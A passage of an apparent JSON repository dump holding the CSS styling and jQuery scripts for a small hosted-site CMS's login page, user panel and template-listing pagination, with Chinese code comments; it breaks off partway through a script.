rgba(173,173,173,.5); -moz-box-shadow:0 0 8px rgba(173,173,173,.5); -webkit-box-shadow:0 0 8px rgba(173,173,173,3); border:1px solid #7cccec;}\n.contact_right textarea.text_area{ border:1px solid #bbb; background:url(../images/site_bg.png) 0 -728px repeat-x; height:112px; overflow:auto; margin-bottom:10px; line-height:32px; width:429px; padding:5px; -moz-border-radius:5px; -webkit-border-radius:5px; border-radius:5px; }\n.contact_right textarea.text_area:focus{ transition:border linear .2s,box-shadow linear .2s; -moz-transition:border linear .2s,-moz-box-shadow linear .2s; -webkit-transition:border linear .2s,-webkit-box-shadow linear .2s; outline:none;border-color:rgba(173,173,173.75); box-shadow:0 0 8px rgba(173,173,173,.5); -moz-box-shadow:0 0 8px rgba(173,173,173,.5); -webkit-box-shadow:0 0 8px rgba(173,173,173,3); border:1px solid #7cccec;}\n.contact_right input.sub_mit{ width:150px; height:29px; border:none; background:url(../images/site_bg.png) 0 -850px no-repeat; }\n.contact_right input.sub_mit:hover{ background:url(../images/site_bg.png) 0 -879px no-repeat; cursor:pointer;}\n/*--login--*/\n.login_m{ width:403px; margin:0 auto; height:375px; margin-top:98px; /*position: absolute;left:50%;top:50%;margin-left:-202px;margin-top:-188px;*/}\n.login_logo{ text-align:center; margin-bottom:25px;}\n.login_boder{ background: url(login_m_bg.png) no-repeat; height:302px; overflow:hidden;}\n.login_padding{ padding:28px 47px 20px 47px ;}\n.login_boder h2{ color:#4f5d80; text-transform:uppercase; font-size:12px; font-weight:normal; margin-bottom:11px;}\n.forget_model_h2{color:#4f5d80; font-size:12px; font-weight:normal; margin-bottom:11px;}\n\n.login_boder input.txt_input{ width:295px; height:36px; border:1px solid #cad2db; background:url(../images/txt_input_bg.gif) no-repeat;  padding:0 5px; -moz-border-radius:5px; -webkit-border-radius:5px; border-radius:5px; line-height:36px; margin-bottom:10px; font-size:14px; color:#717171; font-family:Arial;}\n.login_boder input.txt_input2{ margin-bottom:20px;}\n.login_boder input.txt_input:focus{ transition:border linear .2s,box-shadow linear .2s; -moz-transition:border linear .2s,-moz-box-shadow linear .2s; -webkit-transition:border linear .2s,-webkit-box-shadow linear .2s; outline:none;border-color:rgba(173,173,173.75); box-shadow:0 0 8px rgba(173,173,173,.5); -moz-box-shadow:0 0 8px rgba(173,173,173,.5); -webkit-box-shadow:0 0 8px rgba(173,173,173,3); border:1px solid #6192c8;}\n.login_boder p.forgot{ font-size:11px;  text-align:right; margin-bottom:15px;}\n.login_boder p.forgot a,.login_boder p.forgot a:visited{color:#8c8e91;}\n.login_boder p.forgot a:hover{color:#206fd5;}\n.rem_sub input.sub_button{ float:right; width:122px; height:32px; background:url(site_bg.png) no-repeat -153px -850px; border:none; color:#FFF; padding-bottom:2px; font-size:14px; font-weight:bold;}\n\n.rem_sub input.sub_buttons{ float:left; width:122px;  height:32px; background:url(site_bg.png) no-repeat -153px -850px; border:none; color:#FFF; padding-bottom:2px; font-size:14px; font-weight:bold;}\n.rem_sub input.sub_buttons:hover{ background-position:-153px -882px; cursor:pointer;}\n\n.rem_sub input.sub_button:hover{ background-position:-153px -882px; cursor:pointer;}\n.rem_sub .rem_sub_l{ float:left; font-size:12px; height:33px; line-height:33px;}\n.rem_sub input#checkbox{ margin-right:5px; vertical-align:middle;}\n/*dali*/\n.focusBox{height:513px;}\n.focusContentBox{height:100%}\n.focusContent{width:1000px;float:left}\n"
  },
  {
    "path": "web_simplecms/simplecms/Wopop_files/userpanel.css",
    "content": "@charset \"utf-8\";\n/* CSS Document */\n\n\n#up_top{background:url(../images/top_bg.gif) no-repeat; padding:15px;}\n\t\t\t#up_top_nav{ }\n.top_nav1,.top_nav2,.top_nav3{float:left; line-height:37px; text-align:center; width:92px; font-size:14px; text-shadow: 1px 1px 0 #e0e0e0; color:#2e2e2e; font-weight:bold; cursor:pointer; text-decoration:none; background:url(../images/top_nav.gif); height:39px;}\n#up_top_nav .top_nav1:hover,#up_top_nav .top_nav2:hover,#up_top_nav .top_nav3:hover{background:url(../images/top_nav.gif) no-repeat;color:#fff;text-shadow: 1px 1px 0 #0b6ac6; }\n#up_top_nav .top_nav2{ background-position:208px 0;}\n#up_top_nav .top_nav3{ background-position:116px 0; width:116px; text-indent:15px;}\n#up_top_nav .top_nav1:hover{ background-position:0px -40px;}\n#up_top_nav .top_nav2:hover{ background-position:-92px -40px;}\n#up_top_nav .top_nav3:hover{ background-position:-184px -40px;}\n\n\n.top1hover { float:left; line-height:37px; text-align:center; width:92px; font-size:14px; text-shadow: 1px 1px 0 #0b6ac6; color:#fff; font-weight:bold; cursor:pointer; text-decoration:none; background:url(../images/top_nav.gif); height:39px; background-position:0px -40px;}\n.top2hover { float:left; line-height:37px; text-align:center; width:92px; font-size:14px; text-shadow: 1px 1px 0 #0b6ac6; color:#fff; font-weight:bold; cursor:pointer; text-decoration:none; background:url(../images/top_nav.gif); height:39px; background-position:-92px -40px;}\n\n\nul#up_top_nav li .sub { position:absolute;float: left; display: none; background:url(../images/sub_bg.png) no-repeat; *margin:25px 0 0 -75px; margin-left:-5px;}\nul#up_top_nav li .sub ul { list-style: none; margin: 0; padding: 0; width: 229px; }\nul#up_top_nav li .sub ul li {float: left; }\nul#up_top_nav .sub ul li a { float:left; color:#1d98dc; font-size:14px; text-align:center; text-shadow:none; text-decoration:none; padding:7px 0px; padding-left:35px; background:#000; background:url(../images/top_nav_bg_line.gif) no-repeat 18px 18px;}\nul#up_top_nav .sub ul li a:hover{color:#FF3800;}\n.bgnone{background:none;}\n\n\n/*ul.tiul li .sub  { position:absolute;z-index:100000;display:none;background:url(../images/Png_top.png) no-repeat; width:120px; height:110px; padding:0 8px 8px 0; margin-top:2px;*margin:22px 0 0 -62px;float:left; zoom:1;}\nul.tiul li .sub ul { list-style: none; margin: 0; padding: 0; width: 120px; }\nul.tiul li .sub ul li {text-align:left; line-height:30px; margin:5px 0; *display:inline-block;}\nul.tiul .sub ul li a {color:#fff;  text-shadow:none; text-decoration:none; display:block;}\nul.tiul .sub ul li a:hover{color:#fff; background:#646464;}\nul.tiul .us_info,ul.tiul .us_domain,ul.tiul .us_update,ul.tiul .us_copy,ul.tiul .us_bin{ background:url(../images/icon1.png) no-repeat; padding:12px; float:left; margin-left:10px; *padding: 5px 12px;}\nul.tiul .us_info{ background-position: 0 6px; }\nul.tiul .us_domain{ background-position: 0 -24px; }\nul.tiul .us_update{ background-position: 0 -54px;}\nul.tiul .us_copy{ background-position: 0 -88px; }\nul.tiul .us_bin{ background-position: 0 -114px;}\n*/\n\n\nul.tiul li .sub { position:absolute;z-index:100000;display:none;width:120px; padding:0 8px 8px 0; margin-top:2px;*margin:22px 0 0 -62px;float:left; zoom:1;}\nul.tiul li .sub ul { list-style: none; margin: 0; padding: 0; width: 128px; }\nul.tiul li .sub ul li {text-align:left; line-height:25px; background:url(../images/Png_con.png) repeat-y;}\n.sub_top{ background:url(../images/Png_top.png) !important; height:5px !important;}\n.sub_bottom{ background:url(../images/Png_bottom.png) !important; height:13px !important;}\nul.tiul .sub ul li a {color:#fff;  text-shadow:none; text-decoration:none; display:block; padding:5px 0;}\nul.tiul .sub ul li a:hover{color:#fff; background:url(../images/png.png) repeat-x; width:120px;}\nul.tiul .us_info,ul.tiul .us_domain,ul.tiul .us_update,ul.tiul .us_copy,ul.tiul .us_bin{ background:url(../images/icon1.png) no-repeat; padding:12px; float:left; margin-left:10px; *padding: 5px 12px;}\nul.tiul .us_info{ background-position: 0 6px; }\nul.tiul .us_domain{ background-position: 0 -24px; }\nul.tiul .us_update{ background-position: 0 -54px;}\nul.tiul .us_copy{ background-position: 0 -88px; }\nul.tiul .us_bin{ background-position: 0 -114px;}\n\n.buyview {background:#fff; border: solid 1px #e3e3e3; margin-top:10px;box-shadow:2px 2px 0px 0 #e8e8e8;}\n.b_info{ background:#f6f6f6; padding:10px; margin:1px;}\n.b_infoss{ background:#f6f6f6; padding:10px; margin:1px;}\n.binddome{ background:#F6F6F6; font-size:24px; text-align:left; padding:5px 10px;}\n.domelist{ background:#f6f6f6; padding:10px; margin:1px;}\n\t.new_free,.new_advanced{ background:url(../ot5lst/images/btn_bg.png); width:180px; height:32px; line-height:28px;text-align:center; color:#5a5a5a;display:block; color:white;font-weight:bold; text-decoration:none; float:left; margin-right:10px; text-indent:5px;}\n\t.new_free:hover,.new_advanced:hover{ background:url(../ot5lst/images/btn_bg.png) repeat 0px -99px;cursor:pointer}\n.new_left{ width:725px; border:#d6d6d6 solid 1px;box-shadow: 1px 1px 1px #efefef inset; background:#fff; margin-top:10px; min-height:500px;  float:left; padding-bottom:5px;}\n\t.search{ background:url(../images/search.gif) no-repeat; width:320px; height:30px; float:right;}\n\t.soinput{ border:none; background:none; padding:6px 5px 5px 10px; width:150px; }\n\t.seinput{border:none; background:none;float:left; width:85px;*width:84px; padding:5px 5px 2px 0;}\n\t.seinput option{ border:none;}\n\t\n\t.sift{ background:url(../images/sift.gif) repeat-x; height:31px; border: solid 1px #fff;}\n\t.sift li{ background:url(../images/sift_libg.gif) no-repeat right top; width:130px; float:left; line-height:31px; color:#fff; text-indent:10px; cursor:pointer;text-shadow: 1px 1px 0 #474747;}\n\t.sift li:hover{ background:url(../images/sift_lihover.gif);}\n\t/*当前选中状态*/\t\n\t.sift1{background:url(../images/sift_ligif.gif) !important; }\n\t\n\n\t.nipic{ background:#fff; padding:1px; border: solid 1px #d6d6d6; float:left; width:100px; height:80px; overflow:hidden; margin:10px;}\n\t/*正常*/\t\n\t.new_left .titul{ background:#f9f9f9; border:solid 1px #d6d6d6;box-shadow: 0px 2px 0 0 #f7f7f7; margin:5px 5px 0 5px;}\n\t.new_left .titli{ margin: 1px;background: none repeat scroll 0 0 #F6F6F6; }\n\t.new_left .titli:hover{background:#eee;}\n\t/*异常*/\t\n\t.new_left .titul_unusual{ background:#f9f9f9; border:solid 1px #e6db55;box-shadow: 0px 2px 0 0 #f7f7f7;margin:5px 5px 0 5px;}\n\t.new_left .titli_unusual{ margin: 1px; background: none repeat scroll 0 0 #fffccd;}\n\t.new_left .titli_unusual:hover{background:#fffaaa;}\n\t/*未开通*/\t\n\t.new_left .titul_close{ background:#f9f9f9; border:solid 1px #88c4ed;box-shadow: 0px 2px 0 0 #f7f7f7; margin:5px 5px 0 5px;}\n\t.new_left .titli_close{ margin: 1px; background: none repeat scroll 0 0 #cdebff;}\n\t.new_left .titli_close:hover{background:#b6e0fd;}\n\t\n\t.sub_edit,.sub_more{ text-align:center; color:#fff; width:81px; height:26px; line-height:24px;  display:block; float:right; background:url(../images/sub1.gif) no-repeat; text-decoration:none; margin-left:9px; cursor:pointer;text-shadow: 1px 1px 0 #666; font-size:14px;}\n\t.sub_edit{background-position:0 -90px;}\n\t/*.sub_edit:hover{background-position:0 -120px;}*/\t\n\t.sub_more{background-position:-88px -90px;}\n\t.sub_more:hover{background-position:-88px -120px;}\n\t\n\t.sub_bj,.sub_tj,.sub_gd{ text-align:center; color:#fff; width:70px; height:24px; line-height:24px; box-shadow: 0 2px 4px 0 #C1C1C1; display:block; float:left; background:url(../images/sub.gif) no-repeat; text-decoration:none; text-indent:10px; margin-left:10px; cursor:pointer;}\n\t.sub_bj:hover{ background-position:0 -34px;}\n\t.sub_tj{ background-position:0 -68px;}\n\t.sub_tj:hover{ background-position:0 -102px; color:#545454;}\n\t.sub_gd{ background-position:0 -170px;text-indent:0px;}\n\t.sub_gd:hover{ background-position:0 -136px; color:#545454;}\n\t.new_left .tiul{float:right; margin-right:10px;height:28px; }\n\t\t.new_left .info{ height:28px; margin:0 0 40px 9px;position:relative; top:-2px;}\n\t\t.new_left .infodme{ height:28px; margin:0 0 15px 9px;position:relative; top:-2px;}\n\t\t.new_left .versions,.new_left .versions1{ width:103px; text-align:center; line-height:27px; float:right;text-shadow: 1px 1px 0 #f5f5f5;  background:url(../images/sub1.gif); cursor:pointer; height:28px;}\n\t\t.new_left .versions1{ cursor:default;}\n\t\t.new_left .versions font{ color:#797979;}\n\t\t.new_left .versions:hover{background:url(../images/sub1.gif) 0px -30px; color:#FF3800;}\n\t\t.new_left .versions1:hover{background:url(../images/sub1.gif) 0px -30px;}\n\t\t.new_left .versions font{ font-size:16px; margin-right:5px; font-weight:normal;vertical-align: bottom;}\n\t\t.new_left .versions1 span{}\n\t\t.new_left .working_normal,.new_left .working_unusual,.new_left .working_close{ width:67px; text-align:center; line-height:27px; float:right; color:#fff; background:url(../images/sub1.gif); height:28px;cursor: default; text-indent:2px;}\n\t\t.update{  left: 4px; position: relative; top: 0px; z-index: 500; background:url(../images/update.gif) no-repeat; width:80px; height:28px; display:inline-block; color:#fffdce;line-height:27px; text-indent:25px; text-shadow:1px 1px 0px #900000; float:left;}\n\t\t.update:hover{ background:url(../images/update.gif) no-repeat 0 -28px; }\n\t\t.new_left .working_normal{ background-position:67px 0px;text-shadow: 1px 1px 0 #006e00;}\n\t\t.new_left .working_unusual{ background-position:67px -30px;text-shadow: 1px 1px 0 #dc1b00;}\n\t\t.new_left .working_close{ background-position:67px -60px;text-shadow: 1px 1px 0 #005eed;}\n\t.new_left h1{font-size:22px; color:#0e89cf;}\n\t.new_left h2,.new_left h3{font-size:12px; color:#919191; margin-top:10px;}\n\t.new_left h3{ background:url(../images/time.gif) no-repeat 0 2px; text-indent:20px;}\n\t.new_left .tit{ float:left; width:300px; overflow:hidden; margin:10px 0;}\n\t.new_left .time{ float:left; width:130px; overflow:hidden; line-height:24px; color:#999; margin-left:10px;}\n\t.us_page{ text-align:center; line-height:40px}\n\t.us_page span{ color:#fff;} \n\t.us_page a{ color:#777777; text-decoration:none; padding:3px 8px; margin: 0 5px;}\n\t.us_page a:hover{ color:#fff; background:url(../images/page_bg.gif);}\n\t.us_page1 { color:#fff  !important; background:url(../images/page_bg.gif);}\n\t\n.new_right{ float:left; margin:0 0px 0 10px; width:200px;margin-top: 10px;}\t\n\t.new_right p{ font-size:14px; line-height:30px;}\n\t.new_right .line{ border-top:1px solid #dbdbdb; border-bottom:1px solid #fff; margin:10px 0;}\n\t.new_right p span{ color:#2e9429;}\n\t.new_right .jdb{border:solid 1px #c0c0c0; background:#fff url(../images/jdb_bg.gif) repeat-x; margin:1px; height:18px;box-shadow: 1px 1px 0px #fff inset;}\n\t.new_right .jdb font{background:#ff571d; width:30%; color:#fff; font-size:10px; font-family: Arial,Helvetica,sans-serif; height:16px; display:block; text-align:center; border:solid 1px #fff;}\n\t.new_right li{background:url(../images/icon.gif) no-repeat 5px 13px; line-height:30px; text-indent:15px;} \n\t\n\t\n/*步驟開始*/\t\n.usbz{ background:url(../images/bg.gif) no-repeat 0 60px #fff;margin:1px; padding:10px; padding-bottom:30px; }\n\t.usbz h1{ font-size:30px; line-height:40px;}\n\t.usbz h2{ font-size:24px; line-height:40px; color:#fff; padding-top:10px;}\n\t.usin{ margin-top:30px;}\n\t.usin input,.usin select{ background:url(../images/input_bg.gif) no-repeat 1px 1px; border:solid 1px #c9c9c9; height:30px; line-height:30px; padding:5px; font-size:14px !important; }\n\t\t\n\t.subin{background:url(../images/sub_in.gif); width:88px; height:34px; display:block; text-align:center; line-height:34px; color:#fff; font-size:14px; text-decoration:none;text-shadow: 1px 1px 0 #0b6ac6; font-weight:bold; position:relative; bottom:0;box-shadow: 0 2px 4px 0 #C1C1C1;  float:left; margin:20px 10px 20px 0 ;}\n\t.subin:hover{background:url(../images/sub_in.gif) 0 34px;text-shadow: 1px 1px 0 #ff180a;}\n\n.usin_domian{ background: none repeat scroll 0 0 #F6F7F9;border: 1px solid #E1E1E1;border-radius: 3px 3px 3px 3px;cursor: pointer;\n margin: 10px 0;position: relative;text-shadow: none;}\n \t.usin_domian:hover{background: none repeat scroll 0 0 #d4e6f3;border: 1px solid #939ca8;}\n\t.usin_domian_no{color: #990000;font-weight: bold;left: 510px;position: absolute;top: 27px; text-align:center; background:url(../images/001_05.gif) no-repeat 18px 0; padding:40px 0; text-align:center;}\n\t.usin_domian_yes{color: #990000;font-weight: bold;left: 510px;position: absolute;top: 27px; text-align:center; background:url(../images/001_06.gif) no-repeat 18px 0; padding:40px 0; text-align:center;}\n \t.usin_domian_left{border-right: 1px solid #E1E1E1;float: left;padding: 38px 0;  text-align: center;width: 40px;}\n\t.usin_domian_left:hover{border-right:1px solid #acb8c8;}\n\t.usin_domian_right{border-left: 1px solid #FFFFFF;float: left;padding: 15px 20px 15px 15px;font-size:14px;}\n\t.usin_domian_right h3{color: #333333; margin-bottom: 7px;}\n\t\n\t\n.tem { padding:0px 20px; }\n.tem li {    background: url(\"/pop/web/images/li_bg.png\") no-repeat scroll 0 0 transparent;display: inline;float: left;height: 196px;margin: 0 7px 20px; }\n.tem li img {margin: 12px 12px 5px;}\n.tem li img:hover{border: solid 4px #0099db; margin:7px 7px 0 7px; padding:1px;}\n.tem li a {display: block;}\n.tem li a:hover{color:#fff;}\n.tem li span {color: #FFFFFF;height: 30px;line-height: 28px;text-align: center;   display: block;}\n.tem li span a {color: #666666;text-align: center;text-decoration: none;}\n.tem li span:hover{ background:url(/pop/web/images/li_a_hover.png) no-repeat 7px 0;}\n\n.page { text-align:center; margin-top:40px; }\n.page a { text-decoration:none; color:#626262; padding:5px 10px; }\n.page a:hover { background:#34baff; color:#fff;}\n\n.us_table1 td{line-height: 32px;padding: 1px 0; background:#fff; text-align:center;}\\\n.us_table2 td{line-height: 32px;padding: 1px 0; background:#fff; text-align:left; padding:5px 0 5px 5px;}\n.us_table td{line-height: 32px;padding: 1px 0; background:#fff; padding: 0 20px;}\n.us_table td a{ text-decoration:none;}\n.us_table {}\n\n.us_ok, .us_no {\n    background: url(\"../images/us_sub.gif\") repeat scroll 0 0 transparent;\n    border: medium none;\n    color: #FFFFFF;\n    cursor: pointer;\n    display: block;\n    float: left;\n    margin: 10px;\n    padding: 2px 0 4px;\n    text-align: center;\n    text-decoration: none;\n    width: 70px;\n}\n.us_ok:hover,.us_no:hover{ background:url(../images/us_sub.gif) 0 24px; }\n\n\n.us_line{ background:url(../images/line.png) repeat-x; margin:0 10px; padding:10px 0; text-align:center;}\n.us_line a{background: url(\"../images/change_l.png\") no-repeat scroll 0 0 transparent; color: #5A5A5A; display: inline-block; float: left;font-size: 12px;height: 30px;line-height: 28px;text-align: center;text-decoration: none;  padding-left:9px;}\n.us_line a:hover{ color:#0E89CF;}\n.us_line img { float: left; padding: 6px 3px 0 0 ;}\n.us_line span{display: inline-block; background:url(../images/change_R.png) no-repeat top right ; padding: 0 8px 0 0;height: 30px;}\n.sub_text,.sub_product,.sub_webedit,.sub_member,.sub_message,.sub_notice,.sub_order,.sub_file{ background:url(../images/icon.png) no-repeat 0px 0px; padding:2px 10px;}\n.sub_product{ background-position:0 -20px}\n.sub_webedit{ background-position:0 -40px}\n.sub_member{ background-position:0 -60px}\n.sub_message{ background-position:0 -80px}\n.sub_notice{ background-position:0 -100px}\n.sub_order{ background-position:0 -120px}\n.sub_file{ background-position:0 -140px}\n\n.sift a{ color:#fff;}\n.sift a:hover{ color:#fff;}\n\n.search{ background:url(../images/search.gif) no-repeat; width:320px; height:30px; float:right;}\n\t.soinput{ border:none; background:none; padding:6px 5px 5px 10px; width:150px; float:left }\n\t.seinput{border:none; background:none;float:left; width:85px;*width:84px; padding:5px 5px 2px 0;}\n\t.seinput option{ border:none;}\n\t.sub_search{ border:none; width:70px; height:30px; cursor:pointer; float:left; background:url(../images/sub_search.gif);}\n\t.sub_search:hover{ background:url(../images/sub_search.gif) 0 30px;}\n\t.sub_search_zh{ border:none; width:70px; height:30px; cursor:pointer; float:left; background:url(../images/sub_search_zh.gif);}\n\t.sub_search_zh:hover{ background:url(../images/sub_search_zh.gif) 0 30px;}\n\t.sub_search_en{ border:none; width:70px; height:30px; cursor:pointer; float:left; background:url(../images/sub_search_en.gif);}\n\t.sub_search_en:hover{ background:url(../images/sub_search_en.gif) 0 30px;}\n\n.allinput{background: url(\"../images/input_bg.gif\") no-repeat scroll 0 0 transparent;border: 1px solid #CCCCCC; height: 20px;padding: 2px;width: 250px;}\n.allinput1{background: url(\"../images/input_bg.gif\") no-repeat scroll 0 0 transparent;border: 1px solid #CCCCCC; height: 20px;padding: 2px;width: 250px;}\n.allinput2{background: url(\"../images/input_bg.gif\") no-repeat scroll 0 0 transparent;border: 1px solid #CCCCCC; height: 20px;padding: 2px;width: 100px; margin-right:5px;}\n.allsub {background: url(\"../images/sub1.gif\") no-repeat scroll 0 -90px transparent;color: #FFFFFF;cursor: pointer;display: block;font-size: 14px !important; text-align: center; text-decoration: none; text-shadow: 1px 1px 0 #666666; width: 81px; border:none;  height:26px; display:block; line-height:24px !important;}\n.us_table1 .allsub{ margin-left:20px;}\n.allsub:hover{ background-position:0 -120px;}\n.allsub,.allinput{ float:left; margin-right:10px;}\n/*------------------------User界面新CSS---------------*/\t\n.new_left1{ width:725px; border:#d6d6d6 solid 1px;box-shadow: 1px 1px 1px #efefef inset; background:#fff; margin-top:10px;  float:left;}\n.user_p{background:url(../images/p_bg.gif) repeat-x; height:38px; line-height:38px; font-size:14px; color:#5a5a5a;text-shadow: 1px 1px 0 #fff; font-weight:bold; border:solid 1px #fff; text-indent:15px;}\n.new_left1 ul{ background:#f7f7f7; border-bottom:dashed 1px #fff;}\n.new_left1 ul li{ border-bottom:dashed 1px #efefef; float:left; height:50px; line-height:50px;}\n.new_left1 ul .l1{ color:#5a5a5a; font-weight:bold;width:20%; text-indent:15px;}\n.new_left1 ul .l2{ width:70%;}\n.new_left1 ul .l3{ float:right;width:10%;}\n.new_left1 ul li a{ text-decoration:none;}\n.new_left1 ul li a:hover{ text-decoration:underline;}\n\n/*------------------------domian_CSS---------------*/\t\n\n.us_domain input,.us_domain select,.us_domain_g,.us_domain_r,.us_domain_b{ border:none; background:url(../images/input_bg2.gif); padding:5px;border:solid 1px #d7d7d7; width:240px; margin-left:0px;}\n.us_domain select{ height:31px;width:252px;}\n.us_domain td{ padding:4px; line-height:24px;}\n.us_domain img{vertical-align: middle;}\n.us_domain_g{background-position: 0 -80px !important; border:solid 1px #9db832!important;}\n.us_domain_r{background-position: 0 -160px !important; border:solid 1px #cc0000!important;}\n.us_domain_b{background-position: 0 -240px !important;border:solid 1px #2fadd7!important;}\n.us_domain_width{ width:13px !important;vertical-align: top; border:none !important; background:none  !important;}\n.us_domain_width1{ width:648px !important;}\n.us_domain_color{ color:#FF3C00;}\n.agreent_class{ color:#797979;}\n.agreent_class:hover{ text-decoration:underline;}\n.us_domain_width50{ width:50px !important;}\n\n\n\n\n.tit_domain{ float:left; margin:5px; height:250px; height:65px;}\n\n/*分页样式*/\n.us_page{ line-height:35px; background:#a7a7a7; margin:5px; padding-left:7px; height:35px;text-indent: 0px;}\n\t.us_page a{ color:#777777; text-decoration:none; padding:3px 8px; margin: 0 7px 0 0; background:#f8f8f8;}\n\t.us_page a:hover{ color:#fff; background:#1d72e9;}\n\t.us_page1 { color:#fff  !important; background:#1d72e9!important;}\n\t\n\t\n.misxiao{ background:#fcf0ef; padding:10px; border:solid 1px #cc0000; color:#c00000;}\n\t\n\t.dome_search{ background:url(/imgs/search_sub.png); width:70px; height:32px; line-height:32px; color:#fff; font-size:14px; text-align:center;display: inline-block;display: inline-block; }\t\n\t.dome_search:hover{ background:url(/imgs/search_sub.png) 0 32px;}\n\t.us_table2 td { padding:6px;background: none repeat scroll 0 0 #FFFFFF;} \n\t\n/*免费产品升级页面调整*/\n#update{ border:solid 1px #dcdfe2;  background:#f6f6f6;box-shadow: 2px 2px 0 0 #E8E8E8; margin:5px; padding:1px; }\n#update li{ float:left; padding:10px; width:325px;}\n#update dl dt{ font-size:24px; background:url(/userhome/images/line_bg.gif) repeat-x  center bottom; line-height:40px; color: #2E2E2E; margin-bottom:10px;}\n#update dl dd{ background:url(/userhome/images/update_icon.gif) no-repeat 0 10px;font-size:14px; line-height:40px; text-indent:30px;}\n\n#paymentAmountonly{color: #FF3C00;font-size: 14px;font-weight: bold;}\n#update dl img{ vertical-align:middle;}\n#update .sline{ background:url(/userhome/images/sline_bg.gif) repeat-y right top;}\n#update .sfk div{ padding:10px 0;}\nelement.style {\n    background-position: 0 -120px;\n}"
  },
  {
    "path": "web_simplecms/simplecms/Wopop_files/webtemples.js",
    "content": "//公共提示窗口函数\r\n\r\nvar currentpage = \"\";\r\nvar pageSize = 6;\r\nvar pageIndex = 0;\r\n\r\n\r\n\r\n\r\n$(function () {\r\n\r\n    ///模版里面分页 修改 \r\n\r\n\r\n    function PageCallback(index, jq) {\r\n\r\n        InitTable(index);\r\n    }\r\n\r\n    //请求数据  \r\n    function InitTable(pageIndex, typeTemple) {\r\n\r\n        typeTemple = $(\"#getfreeORcharge\").val();\r\n        $.ajax({\r\n            type: \"POST\",\r\n            dataType: \"text\",\r\n            url: '/Ajax_WebServer/Ajax_Templates.ashx',      //提交到一般处理程序请求数据  \r\n            // url: '/pop/web/Ajax_Tempe/Ajax_Templates.ashx',      //提交到一般处理程序请求数据  \r\n            data: \"pageIndex=\" + (pageIndex + 1) + \"&pageSize=\" + pageSize + \"&ezsite_prd=\" + typeTemple + \"&type_code=1\",          //提交两个参数：pageIndex(页面索引)，pageSize(显示条数)                  \r\n            success: function (data) {\r\n                if (data == \"TimeOut\") {\r\n                    window.location.href = \"/users/Login.aspx\";\r\n                }\r\n                $(\"#choose_temple\").empty();\r\n                $(\"#choose_temple\").append(data);\r\n\r\n                $.ajax({\r\n                    type: \"POST\",\r\n                    dataType: \"text\",\r\n                    url: '/Ajax_WebServer/Ajax_Templates.ashx',      //提交到一般处理程序请求数据  \r\n                    data: \"pageIndex=\" + (pageIndex + 1) + \"&pageSize=\" + pageSize + \"&ezsite_prd=\" + typeTemple + \"&type_code=2\",          //提交两个参数：pageIndex(页面索引)，pageSize(显示条数)                  \r\n                    success: function (result) {\r\n                        //分页，PageCount是总条目数，这是必选参数，其它参数都是可选  \r\n                        $(\"#Pagination\").pagination(result, {\r\n                            callback: PageCallback,\r\n                            prev_text: ' ',       //上一页按钮里text  \r\n                            next_text: ' ',       //下一页按钮里text  \r\n                            items_per_page: pageSize,  //显示条数  \r\n                            ellipse_text: '…',\r\n                            num_display_entries: 6,    //连续分页主体部分分页条目数  \r\n                            current_page: pageIndex,   //当前页索引  \r\n                            num_edge_entries: 2        //两侧首尾分页条目数  \r\n                        });\r\n\r\n                    }\r\n                });\r\n            }\r\n        });\r\n    }\r\n    ////////////////////////////修改与2011年10月26号 by jason\r\n\r\n\r\n\r\n    $('.us_line').show();\r\n\r\n    //-------------点击\"编辑\"按钮展开菜单条[start]--------code jason----------\r\n    //    $('.sub_edit').bind('mouseenter', function () {\r\n    //        $(this).css(\"background-position\", \"0px -120px\");\r\n    //    }).bind('mouseleave', function () {\r\n    //        $(this).css(\"background-position\", \"0px -90px\");\r\n    //    });\r\n\r\n\r\n    $('.sub_edit').click(function (event) {\r\n        if ($(this).attr(\"href\") == \"javascript:void(0);\") {\r\n\r\n            return false;\r\n        }\r\n\r\n        var url = $(\".us_line a\").eq(0).attr(\"href\");\r\n\r\n        var name = $(this).parents().find(\".tit h2\").html();\r\n\r\n        s_name = name.substring(0, name.indexOf('.'));\r\n        if (s_name != \"\") {\r\n            $.ajax({\r\n                type: \"POST\",\r\n                url: \"/UserHome/Ajax_Server/Ajax_ForPhp_Session.ashx\",\r\n                data: \"s_name=\" + s_name,\r\n                dataType: \"html\",\r\n                async: true,\r\n                success: function (response) {\r\n                    if (response == \"TimeOut\") {\r\n                        window.location.href = \"/users/Login.aspx\";\r\n                    }\r\n                },\r\n                error: function (response) {\r\n                    //  alert(\"err\");\r\n                }\r\n            });\r\n\r\n        }\r\n\r\n        //        if ($(this).parent().parent().children('.us_line').css('display') == 'block')//如果已经有菜单，则点击按钮回收菜单\r\n        //        {\r\n        //            $(this).parent().parent().children('.us_line').slideUp('50');\r\n        //            $(this).bind('mouseenter', function () {\r\n        //                $(this).css(\"background-position\", \"0px -120px\");\r\n        //            }).bind('mouseleave', function () {\r\n        //                $(this).css(\"background-position\", \"0px -90px\");\r\n        //            });\r\n\r\n        //        }\r\n        //        else//没有菜单，点击按钮展开菜单\r\n        //        {\r\n        //            $(this).parent().parent().children('.us_line').slideDown('100');\r\n        //            $(this).css(\"background-position\", \"0px -120px\").unbind('mouseenter').unbind('mouseleave');\r\n\r\n        //        }\r\n        event.stopPropagation();\r\n    });\r\n    //-------------点击\"编辑\"按钮展开菜单条[end]--------------------\r\n\r\n    //-------------点击行展开菜单条[start]-------------------------\r\n    $('.message_row').click(function () {\r\n        if ($(this).find('.us_line').css('display') == 'block') {\r\n            $(this).find('.us_line').slideUp('50');\r\n            $(this).find('.sub_edit').bind('mouseenter', function () {\r\n                $(this).css(\"background-position\", \"0px -120px\");\r\n            }).bind('mouseleave', function () {\r\n                $(this).css(\"background-position\", \"0px -90px\");\r\n            }).css(\"background-position\", \"0px -90px\");\r\n        }\r\n        else {\r\n            $(this).find('.us_line').slideDown('100');\r\n            $(this).find('.sub_edit').css(\"background-position\", \"0px -120px\").unbind('mouseenter').unbind('mouseleave');\r\n        }\r\n    }).hover(function () {\r\n        $(this).css('cursor', 'pointer');\r\n    }, function () {\r\n        $(this).css('cursor', 'default');\r\n    });\r\n\r\n    $('.message_row').find('.message_info,.sub_more').click(function (event) {\r\n        event.stopPropagation();\r\n    });\r\n\r\n    $('.sub_more').hover(function () {\r\n        $(this).children('.sub').show();\r\n    }, function () {\r\n        $(this).children('.sub').hide();\r\n    });\r\n    $(\".sub\").click(function () {\r\n        $(this).hide();\r\n    });\r\n\r\n\r\n    //-------------分頁show[start]---------------code jason----------\r\n    $(\".us_page a:eq(0)\").hover(\r\n     function () {\r\n         $(this).empty();\r\n\r\n         $(this).append(\"<img 